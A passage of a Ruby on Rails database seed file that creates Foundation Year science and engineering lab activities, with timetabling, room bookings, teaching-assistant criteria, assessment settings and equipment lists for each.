tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a531.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a532 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode11\").first_or_create!(name: \"Velocity & Drag\",\n name_abrv: \"VEL_DRAG\", archived: false, in_drive: false, user_id: 1)\n at532 = ActivityTimetable.where(activity_id: a532.id).first_or_create!(duration: 30, kit_prep_time: nil, min_week_num: 6, max_week_num: 7, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 30, takedown_time: 30, notes: \"Cannot be timetabled with another lab as the students need ear protectors\",\n capacity: 16, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a532.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a532.id).first_or_create!(criteria: \"Must have A level Physics\",\n job_desc:\"\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a532.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: nil)\n ActivityTech.where(activity_id: a532.id).first_or_create!(cost_per_student: nil, equip_needed: \"Armfield wind tunnels\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a532.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a533 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode12\").first_or_create!(name: \"Waves\",\n name_abrv: \"WAVES\", archived: false, in_drive: false, user_id: 5)\n at533 = ActivityTimetable.where(activity_id: a533.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 4, max_week_num: 5, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 120, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at533.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a533.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a533.id).first_or_create!(criteria: \"Must have A level Physics\",\n job_desc:\"\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: 4, staff_ratio: nil)\n ActivityAssess.where(activity_id: a533.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: nil)\n ActivityTech.where(activity_id: a533.id).first_or_create!(cost_per_student: nil, equip_needed: \"water trays, water, jugs, dyes, stop watch, 1m rule, vernier calipers\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a533.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a534 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode13\").first_or_create!(name: \"Motion & Energy\",\n name_abrv: \"MOTION\", archived: false, in_drive: false, user_id: 3)\n at534 = ActivityTimetable.where(activity_id: a534.id).first_or_create!(duration: 105, kit_prep_time: nil, min_week_num: 6, max_week_num: 7, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 120, takedown_time: 120, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at534.id, room_id: $room_fl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a534.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a534.id).first_or_create!(criteria: \"Must have A level Physics\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: 2, staff_ratio: nil)\n ActivityAssess.where(activity_id: a534.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: nil)\n ActivityTech.where(activity_id: a534.id).first_or_create!(cost_per_student: nil, equip_needed: \"Galileo track, 3 spheres, 1m rule, stop watches, pens\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a534.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a535 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode14\").first_or_create!(name: \"Catapult Challenge\",\n name_abrv: \"CATAPULT\", archived: false, in_drive: false, user_id: 2)\n at535 = ActivityTimetable.where(activity_id: a535.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 120, takedown_time: 120, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at535.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a535.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a535.id).first_or_create!(criteria: \"Safety of hand tools\",\n job_desc:\"\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a535.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a535.id).first_or_create!(cost_per_student: nil, equip_needed: \"PUPs, material\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a535.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a536 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode15\").first_or_create!(name: \"Data Visualisation\",\n name_abrv: \"DATAVIS\", archived: false, in_drive: false, user_id: 2)\n at536 = ActivityTimetable.where(activity_id: a536.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 1, max_week_num: 2, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 120, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a536.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a536.id).first_or_create!(criteria: \"experience of Excel\",\n job_desc:\"\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a536.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: nil)\n ActivityTech.where(activity_id: a536.id).first_or_create!(cost_per_student: nil, equip_needed: \"n/a\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a536.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a537 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode16\").first_or_create!(name: \"Matlab Visualisation\",\n name_abrv: \"MATVIS\", archived: false, in_drive: false, user_id: 2)\n at537 = ActivityTimetable.where(activity_id: a537.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 2, max_week_num: 3, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 120, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a537.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a537.id).first_or_create!(criteria: \"experience of Matlab Graphing\",\n job_desc:\"\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a537.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: nil)\n ActivityTech.where(activity_id: a537.id).first_or_create!(cost_per_student: nil, equip_needed: \"n/a\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a537.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a538 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode17\").first_or_create!(name: \"Youngs Modulus\",\n name_abrv: \"FY-YM\", archived: false, in_drive: false, user_id: 2)\n at538 = ActivityTimetable.where(activity_id: a538.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 4, max_week_num: 5, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 120, takedown_time: 120, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a538.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a538.id).first_or_create!(criteria: \"Must have A level Physics\",\n job_desc:\"\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a538.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: nil)\n ActivityTech.where(activity_id: a538.id).first_or_create!(cost_per_student: nil, equip_needed: \"Schimadzu + samples, micrometers, rules\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a538.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a539 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode18\").first_or_create!(name: \"Balancing Forces\",\n name_abrv: \"FY-BALFORCE\", archived: false, in_drive: false, user_id: 5)\n at539 = ActivityTimetable.where(activity_id: a539.id).first_or_create!(duration: 75, kit_prep_time: nil, min_week_num: 4, max_week_num: 5, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 120, takedown_time: 120, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a539.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a539.id).first_or_create!(criteria: \"Must have A level Physics\",\n job_desc:\"\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: 2, staff_ratio: nil)\n ActivityAssess.where(activity_id: a539.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: nil)\n ActivityTech.where(activity_id: a539.id).first_or_create!(cost_per_student: nil, equip_needed: \"Gunt frames, chains, spring gauges, 2kg mass, 1m rule\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a539.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a540 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode19\").first_or_create!(name: \"EMF & Ohms\",\n name_abrv: \"EMF & OHM\", archived: false, in_drive: false, user_id: 4)\n at540 = ActivityTimetable.where(activity_id: a540.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 9, max_week_num: 10, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 120, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a540.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a540.id).first_or_create!(criteria: \"Must have A level Physics or equivalent\n Must be familiar with basic electronics workbench equipment (multimeter, power supply etc.)\",\n job_desc:\"Help students measure current and voltage for a simple DC circuit\n Help students to use power supplies and multimeters and record measurements\n Troubleshoot student circuit construction on breadboards\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: 4, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a540.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: nil)\n ActivityTech.where(activity_id: a540.id).first_or_create!(cost_per_student: nil, equip_needed: \"AA battery, resistors, DVM\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a540.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a541 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode20\").first_or_create!(name: \"Resistivity\",\n name_abrv: \"RESIST\", archived: false, in_drive: false, user_id: 2)\n at541 = ActivityTimetable.where(activity_id: a541.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 9, max_week_num: 10, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 120, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a541.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a541.id).first_or_create!(criteria: \"Must have A level Physics or equivalent\n Must be familiar with basic electronics workbench equipment (multimeter, power supply etc.)\",\n job_desc:\"Help students measure the resistivity of two different types of wire (constantan and nichrome)\n Troubleshoot student circuit construction and help record measurements\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a541.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: nil)\n ActivityTech.where(activity_id: a541.id).first_or_create!(cost_per_student: nil, equip_needed: \"PSU, wound wire boards, DVM, rule, micrometers\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a541.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a542 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode21\").first_or_create!(name: \"Capacitance\",\n name_abrv: \"CAPS\", archived: false, in_drive: false, user_id: 5)\n at542 = ActivityTimetable.where(activity_id: a542.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 11, max_week_num: 11, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 120, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a542.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a542.id).first_or_create!(criteria: \"Must have A level Physics or equivalent\n Must be familiar with basic electronics workbench equipment (multimeter, power supply etc.)\",\n job_desc:\"Help students measure the discharge characteristics of a capacitor\n Troubleshoot student circuit construction and advise on data colleciton and recording\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: 4, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a542.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: nil)\n ActivityTech.where(activity_id: a542.id).first_or_create!(cost_per_student: nil, equip_needed: \"PSU, capacitor, breadboard, jump wires, DVM, stop watch\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a542.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a543 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode22\").first_or_create!(name: \"Transformers\",\n name_abrv: \"TRANS_FY\", archived: false, in_drive: false, user_id: 2)\n at543 = ActivityTimetable.where(activity_id: a543.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 12, max_week_num: 12, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a543.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a543.id).first_or_create!(criteria: \"Must have A level Physics or equivalent\n Must be familiar with basic electronics workbench equipment (multimeter, power supply etc.)\",\n job_desc:\"Help students verify the turns ratio of a transformer through experimental measurement\n Assist students setting up simple transformer circuits and making voltage measurements\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: 4, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a543.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: nil)\n ActivityTech.where(activity_id: a543.id).first_or_create!(cost_per_student: nil, equip_needed: \"DVM, MSO, Sig Gen, Transformer boards, cables\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a543.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a544 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode23\").first_or_create!(name: \"Hookes Law\",\n name_abrv: \"FY-HOOKE\", archived: false, in_drive: false, user_id: 1)\n at544 = ActivityTimetable.where(activity_id: a544.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 1, max_week_num: 1, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at544.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a544.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a544.id).first_or_create!(criteria: \"Must have A level Physics\",\n job_desc:\"\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: 2, staff_ratio: nil)\n ActivityAssess.where(activity_id: a544.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: nil)\n ActivityTech.where(activity_id: a544.id).first_or_create!(cost_per_student: nil, equip_needed: \"Retort stands, springs, 1N mass, vernier calipers, weighing scales\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a544.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a545 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode24\").first_or_create!(name: \"Specific Heat Capacity\",\n name_abrv: \"FY-SHC\", archived: false, in_drive: false, user_id: 2)\n at545 = ActivityTimetable.where(activity_id: a545.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 2, max_week_num: 3, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 120, takedown_time: 120, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at545.id, room_id: $room_ml.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a545.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a545.id).first_or_create!(criteria: \"Must have A level Physics\",\n job_desc:\"\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: 2, staff_ratio: nil)\n ActivityAssess.where(activity_id: a545.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: nil)\n ActivityTech.where(activity_id: a545.id).first_or_create!(cost_per_student: nil, equip_needed: \"metal blocks, beakers, water baths, vernier calipers, thermometers, stop watch, water jugs\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a545.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a546 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode25\").first_or_create!(name: \"Charles Law\",\n name_abrv: \"FY-CHARLES\", archived: false, in_drive: false, user_id: 3)\n at546 = ActivityTimetable.where(activity_id: a546.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 2, max_week_num: 3, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 120, takedown_time: 120, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at546.id, room_id: $room_ml.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a546.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a546.id).first_or_create!(criteria: \"Must have A level Physics\",\n job_desc:\"\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a546.id).first_or_create!(assess_weight: 3.0, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a546.id).first_or_create!(cost_per_student: nil, equip_needed: \"Gas theremometers, boiling tubes, retort, theremocouple, water baths\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a546.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a547 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode26\").first_or_create!(name: \"Functional Programming\",\n name_abrv: \"FPROG\", archived: false, in_drive: false, user_id: 4)\n at547 = ActivityTimetable.where(activity_id: a547.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 4, max_week_num: 4, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a547.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a547.id).first_or_create!(criteria: \"Must know Haskell\",\n job_desc:\"\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a547.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: nil)\n ActivityTech.where(activity_id: a547.id).first_or_create!(cost_per_student: nil, equip_needed: \"IT\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a547.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a548 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode27\").first_or_create!(name: \"Boolean\",\n name_abrv: \"BOOL\", archived: false, in_drive: false, user_id: 4)\n at548 = ActivityTimetable.where(activity_id: a548.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 5, max_week_num: 5, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a548.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a548.id).first_or_create!(criteria: \"Must know Haskell\",\n job_desc:\"\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a548.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: nil)\n ActivityTech.where(activity_id: a548.id).first_or_create!(cost_per_student: nil, equip_needed: \"IT\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a548.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a549 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode28\").first_or_create!(name: \"Complexity\",\n name_abrv: \"COMPLEX\", archived: false, in_drive: false, user_id: 1)\n at549 = ActivityTimetable.where(activity_id: a549.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 6, max_week_num: 6, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a549.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a549.id).first_or_create!(criteria: \"Must know Haskell\",\n job_desc:\"\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a549.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: nil)\n ActivityTech.where(activity_id: a549.id).first_or_create!(cost_per_student: nil, equip_needed: \"IT\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a549.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a550 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode29\").first_or_create!(name: \"Refraction\",\n name_abrv: \"REFRACT\", archived: false, in_drive: false, user_id: 2)\n at550 = ActivityTimetable.where(activity_id: a550.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 7, max_week_num: 9, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 120, takedown_time: 120, notes: \"\",\n capacity: 70, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at550.id, room_id: $room_sd.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a550.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a550.id).first_or_create!(criteria: \"Must have A level Physics or equivalent\n Must be familiar with basic electronics workbench equipment (multimeter, power supply etc.)\",\n job_desc:\"Help students measure the refractive index of a material using diffraction\n Assist students with calculations considering wavelengths of diffracted light\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: 2, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a550.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: nil)\n ActivityTech.where(activity_id: a550.id).first_or_create!(cost_per_student: nil, equip_needed: \"Refraction kit (stores)\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a550.id, 